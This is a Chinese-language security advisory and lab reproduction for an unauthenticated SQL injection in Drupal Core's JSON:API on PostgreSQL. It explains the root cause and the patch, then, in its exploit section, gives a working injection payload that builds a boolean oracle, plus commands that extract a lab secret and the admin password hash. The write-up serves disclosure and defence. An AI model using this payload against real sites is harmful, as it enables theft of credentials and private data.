跳转至

CVE-2026-9082 — Drupal Core 未经身份验证的 SQL 注入(JSON:API,PostgreSQL 后端)

发布于 2026-06-06

正在被积极利用

该漏洞于 2026 年 5 月 22 日(公开披露后两天)被纳入 CISA 已知被利用漏洞目录,请立即修补。

字段
Project Drupal Core
受影响组件 core/modules/pgsql/src/EntityQuery/Condition.phptranslateCondition()
Severity CRITICAL
CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N(NVD 基础评分 6.5;Drupal 自评风险 20/25,"高度严重")
CWE CWE-89
受影响版本 Drupal Core 8.9.0 至 < 10.4.10、< 10.5.10、< 10.6.9、< 11.1.10、< 11.2.12、< 11.3.10(仅 PostgreSQL 后端)
修复版本 10.4.10、10.5.10、10.6.9、11.1.10、11.2.12、11.3.10(补丁提交 ea9524d9)
安全公告 GHSA-ghwc-95x2-682j,Drupal SA-CORE-2026-004

1. 漏洞概述

Drupal Core 是一个 PHP 内容管理框架。自 Drupal 9 起默认启用的 JSON:API 模块允许匿名客户端通过 URL 过滤参数查询已发布的内容。在以 PostgreSQL 为数据库后端的站点上,Drupal 在为大小写不敏感的 IN 比较构建 SQL 时存在缺陷,未经身份验证的远程攻击者可借此向这些查询注入任意 SQL。攻击者无需账号、会话 Cookie 或 API 令牌,一条精心构造的 HTTP GET 请求即可从数据库中提取数据。

攻击者可读取应用数据库用户有权访问的任意表中的任意行,包括密码哈希、会话令牌和私有内容。若 PostgreSQL 应用用户持有超级用户权限,该注入还可通过 COPY … FROM PROGRAM 升级为远程代码执行。

根本原因

core/modules/pgsql/src/EntityQuery/Condition.php 中的 PostgreSQL 专属 Condition 类重写了父类的 translateCondition() 方法,将大小写不敏感的 IN 子句中的字符串比较包装在 LOWER(…) 中。漏洞所在的循环遍历用户提供的关联数组,将数组键不加任何过滤直接用于构建 PDO 具名占位符:

// VULNERABLE (before patch) — core/modules/pgsql/src/EntityQuery/Condition.php
$where_prefix = str_replace('.', '_', $condition['real_field']);
foreach ($condition['value'] as $key => $value) {
    $where_id = $where_prefix . $key;                   // $key is attacker-controlled
    $condition['where'] .= 'LOWER(:' . $where_id . '),';
    $condition['where_args'][':' . $where_id] = $value;
}

PDO 具名占位符只接受 [a-zA-Z0-9_]。当攻击者提供包含 ) 的键时,PDO 在该字符处停止解析占位符名称,其后的内容作为字面 SQL 直接嵌入查询字符串。Drupal 的 PostgreSQL 驱动使用 PDO 模拟预处理,因此注入的 SQL 在任何参数绑定生效之前就已到达数据库。

JSON:API 会将 URL 过滤参数原样映射为 PHP 数组键。请求参数

filter[x][condition][value][MALICIOUS_KEY]=val

会将 MALICIOUS_KEY 保留为 $condition['value'] 内的数组键,随后未经任何修改地流入存在漏洞的循环。

修复方案(补丁提交 ea9524d9,作者 Dave Long,2026 年 5 月 20 日)以相同形式应用于三个受影响的文件:Condition.phpConditionAggregate.php 以及 pgsql/EntityQuery/Condition.php。在 foreach 之前对数组进行规范化,丢弃所有字符串键并以连续整数索引替代:

// PATCH — applied in all three files before the foreach
if (is_array($condition['value'])) {
    $condition['value'] = array_values($condition['value']);
}

修复后 $key 始终为整数(012……),所构造的占位符名称全为字母数字,无法携带注入的 SQL。

2. 漏洞复现环境

复现环境完全运行于 Docker Compose,无需云资源或特殊内核特性。漏洞目标由两个容器组成:Drupal 11.3.9 应用容器(Apache/PHP,JSON:API 已启用)和 PostgreSQL 16 后端。Drupal 监听 127.0.0.1:8888,数据库端口不对宿主机暴露。以 control compose 配置文件启动时,可选地运行第三/四个容器对(Drupal 11.3.10,即首个修复版本)供对照比较。

下载完整环境压缩包——env.zip——或浏览单个文件:env/Dockerfileenv/docker-compose.ymlenv/config/entrypoint.sh

启动环境

# 构建 Drupal 镜像并启动漏洞栈
docker compose -f env/docker-compose.yml up -d --build

# (可选)同时启动已修复的对照栈
docker compose -f env/docker-compose.yml --profile control up -d --build

env/config/entrypoint.sh 中的入口脚本在每次容器启动时运行,使用 Drush 安装 Drupal,创建仅供服务端使用的 lab_secret 表,并在每次启动时生成两个全新的随机密钥

  • 通过 gen_random_uuid() 生成的随机 UUID 派生值(格式 LABSECRET-<32 hex>),插入 lab_secret.secret
  • 通过 drush user:passworduid=1 管理员账号设置的新鲜 bcrypt 密码哈希。

两个密钥均未在镜像构建时硬编码,每次重启都会轮换。

确认环境存在漏洞

在进行漏洞利用之前,运行以下冒烟测试,均应通过。

# 1. 漏洞版 Drupal 向匿名客户端提供 JSON:API 文章资源(期望 HTTP 200):
curl -s -o /dev/null -w "drupal http=%{http_code}\n" http://127.0.0.1:8888/jsonapi/node/article

# 2. 种子文章存在(期望标题 "Lab seed article"):
curl -s "http://127.0.0.1:8888/jsonapi/node/article" | grep -o '"title":"[^"]*"' | head -1

# 3. Drupal 版本处于受影响范围(期望 11.3.9):
docker exec cve-2026-9082-drupal grep "const VERSION" /opt/drupal/web/core/lib/Drupal.php

# 4. 新鲜密钥存在于特权位置(期望 LABSECRET-... 字符串):
docker exec cve-2026-9082-postgres psql -U drupal -d drupal -tA \
  -c "SELECT secret FROM lab_secret WHERE id=1;"

3. 漏洞利用过程

下载完整漏洞利用压缩包——exploit.zip——或浏览单个文件:exploit/run.shexploit/extract.py

漏洞利用脚本仅需 Python 3 标准库,无需第三方包。

注入机制

PoC 构造了一个 JSON:API 过滤请求,将攻击者控制的数组键作为 value 参数的一部分传入。该键被设计为突破 translateCondition()LOWER(:placeholder) 表达式的边界,并注入一个布尔谓词:

filter[t][condition][value][1))/**/AND/**/(<PRED>)/**/AND/**/((1=1]

以种子文章标题作为 value[0],生成的 WHERE 子句为:

((LOWER(title) IN (LOWER(:t0), LOWER(:t1), LOWER(:t1)) AND (<PRED>) AND ((1=1))))

IN 子句由种子文章标题满足,当 <PRED> 为真时整个 WHERE 条件为真。这将 JSON:API 的响应变为布尔预言机:响应中 data 数组包含一个条目则谓词为真,为空则谓词为假。

extract.py 对该预言机二分搜索任意 SQL 标量表达式中每个字符的 ASCII 值,逐字符恢复完整字符串。

利用步骤

步骤 1. 通过特权数据库通道读取真实密钥值(这与漏洞利用相互独立——验证者用它来确认结果):

docker exec cve-2026-9082-postgres psql -U drupal -d drupal -tA \
  -c "SELECT secret FROM lab_secret WHERE id=1;"

步骤 2. 针对漏洞版 Drupal 实例运行漏洞利用脚本:

bash exploit/run.sh "http://127.0.0.1:8888" "Lab seed article" \
  "SELECT secret FROM lab_secret WHERE id=1"

脚本接受三个参数:Drupal 实例的基础 URL、一篇已发布文章的标题(用于锚定布尔预言机),以及待提取结果的任意标量 SQL 表达式。

步骤 3. 在漏洞版本上,extract.py 将逐字符恢复进度写入标准错误,完成后向标准输出打印一行带标签的结果:

RECOVERED_SECRET=LABSECRET-f5d1383a8e604f12b79ab74324f9c983

步骤 4. 将恢复的值与步骤 1 中读取的真实值进行精确比对。

证明利用成功的依据

验证依赖于独立于漏洞利用过程本身的观测结果。验证者通过已认证的数据库直连会话从 PostgreSQL 容器读取当前真实密钥,该通道与漏洞利用脚本完全隔离(extract.py 仅通过 urllib.request.urlopen 访问公开的 Drupal HTTP 端点)。密钥在每次容器启动时重新生成,漏洞利用脚本无法提前获知,也无法从其他来源取得。

在本次已验证的运行记录中,特权通道返回:

LABSECRET-f5d1383a8e604f12b79ab74324f9c983

漏洞利用脚本的标准输出返回:

RECOVERED_SECRET=LABSECRET-f5d1383a8e604f12b79ab74324f9c983

两个值完全匹配(42 字符逐一吻合)。在漏洞利用运行之前,通过两次重启验证了密钥的新鲜性:第一次启动的密钥(LABSECRET-6081b09d35dd4324a61abb5cb482ed38)与第二次启动的密钥(LABSECRET-f5d1383a8e604f12b79ab74324f9c983)不同,排除了静态内置值的可能性。

对运行中容器的源码检查确认漏洞代码路径存在且补丁缺失:

# 确认 $where_id = $where_prefix . $key; 行存在且无 array_values() 防护:
docker exec cve-2026-9082-drupal grep -n "where_id" \
  /opt/drupal/web/core/modules/pgsql/src/EntityQuery/Condition.php

提取其他数据

sql_expression 参数可接受应用数据库用户有权执行的任意标量 SQL 表达式。下例提取管理员的存储密码哈希:

bash exploit/run.sh "http://127.0.0.1:8888" "Lab seed article" \
  "SELECT pass FROM users_field_data WHERE uid=1"

清理环境

# 移除漏洞栈及其数据卷:
docker compose -f env/docker-compose.yml down -v

# 若同时启动了已修复的对照栈:
docker compose -f env/docker-compose.yml --profile control down -v

4. 安全建议

修复措施

请立即将 Drupal Core 升级至对应分支的修复版本:

分支 修复版本
10.4.x 10.4.10
10.5.x 10.5.10
10.6.x 10.6.9
11.1.x 11.1.10
11.2.x 11.2.12
11.3.x 11.3.10

对于无法迁移的运营者,Drupal 也为已不受支持的 8.9 和 9.5 分支发布了补丁,具体下载方式请参见官方公告。

修复内容是在三个文件中存在漏洞的 foreach 循环之前添加一行 array_values() 规范化代码,将攻击者控制的字符串键替换为连续整数,确保构造的 PDO 占位符名称始终为字母数字。详见 Drupal 仓库中的补丁提交 ea9524d9。

缓解措施与变通方案

如果无法立即升级,可考虑以下临时措施,但均无法完全消除风险:

  • 禁用 JSON:API 模块(如不需要)。可移除主要攻击面,但 /user/login 端点仍提供备用攻击向量。
  • 限制对 JSON:API 的匿名访问:启用只读模式,要求所有过滤查询进行身份验证(Drupal 9.4+ 可用)。
  • 使用 WAF 规则拦截查询参数键中包含 )/* 模式的请求。这两种模式是该注入语法的明确特征,但此方法属于启发式检测,并非完整拦截。
  • 限制 PostgreSQL 应用用户权限:从 Drupal 数据库用户中撤销 SUPERUSERCREATEROLE,可阻止通过 COPY … FROM PROGRAM 升级为远程代码执行的路径。

该漏洞为 PostgreSQL 专属,运行 MySQL、MariaDB 或 SQLite 的站点不受影响。

参考资料